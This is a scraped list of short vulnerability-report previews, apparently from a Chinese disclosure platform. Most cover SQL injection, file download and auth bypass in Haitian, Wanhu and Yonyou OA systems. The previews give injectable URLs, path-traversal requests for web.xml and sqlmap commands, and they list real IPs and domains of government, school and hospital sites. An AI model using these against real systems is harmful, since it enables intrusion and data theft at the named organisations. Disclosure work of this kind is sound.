某OA系统存在SQL注入（sa权限）

简要描述： RT 详细说明： 前人也有提交过，我就拿几个案例来测试 海天OA官网：http://www.haitiansoft.com:8080/ 注入点： /Documents/OADocDisplayNewWindow.asp?OAID= 漏洞证明： 案例： http://180.166.7.94/Documents/OADocDisplayNewWindow.asp?OAID=1 http://124.65.69.14/Documents/OADocDisplayNewWindow.asp?OAID=1...

某OA系统通用SQL注入（SA权限）

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注射点： /ZhuanTi/OAWordDocDisplay.asp?OAID=1 漏洞证明： 案例： mask 区域 1.http://.. /ZhuanTi/OAWordDocDisplay.asp?OAID=1 mask 区域 1.http://.. /ZhuanTi/OAWordDocDisplay.asp?OAID=1 mask 区域 1.http://../oa...

某OA系统通用SQL注入（SA权限）

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： /include/user/treedata.asp?bumenid=70 漏洞证明： 案例 http://180.166.7.94/include/user/treedata.asp?bumenid=70 http://oa.tjfsu.edu.cn/include/user/treedata.asp?bumenid=70...

Siemens SIMATIC WinCC OA Multiple Vulnerabilities

OVERVIEW Researchers Gleb Gritsai, Ilya Karpov, and Kirill Nesterov of Positive Technologies have identified multiple vulnerabilities in the Siemens SIMATIC WinCC Open Architecture OA application. Siemens has produced updates that mitigate these vulnerabilities. These vulnerabilities could be...

某OA系统SQL注射漏洞（SA权限）

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： /ZhuanTi/OAZTDocDisplayNewWindow.asp?OAID= 漏洞证明： 案例： mask 区域 1.http://.. /ZhuanTi/OAZTDocDisplayNewWindow.asp?OAID=1 mask 区域 1.http://.. /ZhuanTi/OAZTDocDisplayNewWindow.asp?OAID=1 mask ...

全国高校某数字化校园统一认证平台一键获取管理员权限

简要描述： 数字化校园统一认证平台，进入之后，可以管理高校所以其他任意系统，如OA办公系统，图书馆系统，教务系统，多媒体平台等。一个权限认证绕过，可导致整个内网数据沦陷。 详细说明： 前言：此漏洞属猜解绕过，无技术含量，但影响大。 因为通用型，我们这里找了一个示例站点来作范例， 四川航天职业技术学院 http://220.167.53.63:8023/zfca/ 这个链接官网主页上面有，所以容易找到。 下面看图示： 我们这里直接常用思路，找回密码试试 这里没有密保手机和邮箱，只有试尝试密保问题找回咯，填入admin吧！...

某OA系统SQL注射漏洞（SA权限）

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人有提交过，就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： /flow/BiaoDanDangAn.asp?BiaoDanID= 漏洞证明： 案例： mask 区域 1.http://.. /flow/BiaoDanDangAn.asp?BiaoDanID=1 mask 区域 1.http://.. /oa/flow/BiaoDanDangAn.asp?BiaoDanID=1 mask 区域 1.http://...

某OA系统通用SQL注入（SA权限）

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ SQL注入点： \car\ShenQingInforDis.asp?OAID= 漏洞证明： 案例： http://180.166.7.94/car/ShenQingInforDis.asp?OAID=1 http://oa.tjfsu.edu.cn/car/ShenQingInforDis.asp?OAID=1 http://www.fzsyxx.com/oa/car/ShenQingInforDis.asp?OAID=1...

万户OA未修补漏洞致多个政府&集团OA中招

简要描述： 该漏洞在7月份已经有人在wooyun报了，可修补效果几乎为0。 详细说明： 瘦蛟舞 提交的漏洞地址： WooYun: 万户OA任意文件上传导致代码执行（多处总结） 漏洞还是瘦蛟舞（http://www.wooyun.org/whitehats/%E7%98%A6%E8%9B%9F%E8%88%9E）提交的漏洞。 于是用google搜索：inurl:7001/defaultroot 有324条记录。 随便测其中一个上传： 被改名的文件名直接返回到页面： 然后访问：...

万户OA所有版本任意文件下载

简要描述： 万户OA任意文件下载漏洞 详细说明： 万户OAdownloadold.jsp文件可以任意访问，导致无需登录，下载任意文件 测试URL： /defaultroot/downloadold.jsp?path=..&name=x&FileName=index.jsp /defaultroot/downloadold.jsp?path=..&name=x&FileName=WEB-INF/web.xml 快下班了，时间不够了，测试地址就不贴了，自行测试哈。。 漏洞证明：...

海天OA系统存在SQL注入(sa权限)#7

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用6个案例来做安全测试！ SQL注入点： /Documents/FolderInfor.asp?OAID=1 注意是注入参数是OAID不是POAID 漏洞证明： 案例一： http://180.166.7.94/Documents/FolderInfor.asp?OAID=1 案例二： http://oa.tjfsu.edu.cn/Documents/FolderInfor.asp?OAID=1 案例三：...

万户OA 无条件sql注入

简要描述： sql注入 详细说明： 已跑出数据证明. 漏洞证明： -u "http://119.254.81.197:7001/defaultroot/GovSendFileBoxAction.do?editId=2&sendFileUserId=1&action=delBatch" 存在漏洞的地址 http://119.254.81.197:7001 http://61.191.17.216:7001 http://219.136.247.248:7001 http://222.178.221.54:7001...

某OA系统通用SQL注入（SA权限）#5

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： /information/OAInforDisList.asp?class= 漏洞证明： 案例： http://180.166.7.94/information/OAInforDisList.asp?class=1 http://oa.tjfsu.edu.cn/information/OAInforDisList.asp?class=1...

海天OA系统通用SQL注入(SA权限)#6

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： /meetingroom/MeetingRoomUseInfo.asp?MeetingRoom= 漏洞证明： 案例： http://180.166.7.94/meetingroom/MeetingRoomUseInfo.asp?MeetingRoom=1...

某OA系统存在SQL注入(sa权限)#2

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： Include/ChaXunDetail.asp?FID=1 漏洞证明： 案例1： 1.http://www.cnshuiyu.com/Include/ChaXunDetail.asp?FID=1 案例2： 2.http://www.fzsyxx.com/oa/Include/ChaXunDetail.asp?FID=1 案例3...

海天OA系统存在SQL注入(sa权限)

简要描述： RT 详细说明： 海天OA存在一处sql注入 海天OA官网：http://www.haitiansoft.com:8080/ 前人也有提交过我就不写那么多案例了，下面就用5个案例来做安全测试！ SQL注入点： Documents/FolderInfor.asp?POAID=1 漏洞证明： 1.http://180...94/Documents/FolderInfor.asp?POAID=1 2.http://oa.tu.edu.cn/Documents/FolderInfor.asp?POAID=1...

某学校综合管理平台OAsql注入漏洞(影响大量学校)

简要描述： 前台走一走 详细说明： 问题厂商：上海安脉计算机科技有限公司 谷歌百度：版权所有：上海安脉计算机科技有限公司 大量学校使用该系统 管理平台没发现漏洞，但是这套系统附带一套oa系统 /anmai/oa/adduser.aspx 在密码出现sql注入 只能手工不好利用 但是 这有个用户修改 只需添加参数id /anmai/oa/adduser.aspx?id=1 （id存在注入） 以该公司demo为例 http://www.anmai.net/anmai/oa/adduser.aspx?id=1 Place: GET Parameter: id Type: error-based...

万户OA 一处 无限制多参SQL注入

简要描述： sql注入 详细说明： 漏洞证明： 验证方式： 注入1：-u "http://222.178.221.54:7001/defaultroot/NameCardAction.do?delId=1&action=delperson" 注入2: -u"http://222.178.221.54:7001/defaultroot/NameCardAction.do?record=1&action=listLoad" 都能跑出数据的。 同样存在漏洞的地址 http://119.254.81.197:7001 http://61.191.17.216:7001...

万户OA某页面通用性SQL注入（又影响N个政府网和医疗机构）

简要描述： 其实我一直琢磨，之前发的那个，为什么有一部分不能注入，后来找了找，发现不能注入的都是oracle数据库，很好奇。。。然后……就发现了这个通用注入。。例子中，涉及淮北市卫生局，内蒙古海勃湾区市政府、怀远县政府等多家政府单位和医疗机构。在注入时貌似有些限制，凌晨1:45了，就不继续测试了，该睡觉了。。 详细说明： 万户OA协同管理系统，存在POST注入 问题链接：defaultroot/mobile/index.jsp 该登陆框，username处没有做过滤，导致了POST注入 详细看图吧。。。 漏洞证明：...

用友FE办公平台通用SQL注入

简要描述： 用友FE办公平台通用SQL注入 详细说明： 该连接存在SQL注入 /permissionsreport/flowTreeXml.jsp?treeSearchKey=1 sqlmap -u "http://oa.hzuf.com:9090/permissionsreport/flowTreeXml.jsp?treeSearchKey=1" sqlmap -u "http://oa.hzuf.com:9090/permissionsreport/flowTreeXml.jsp?treeSearchKey=1" --dbs 5个案例：...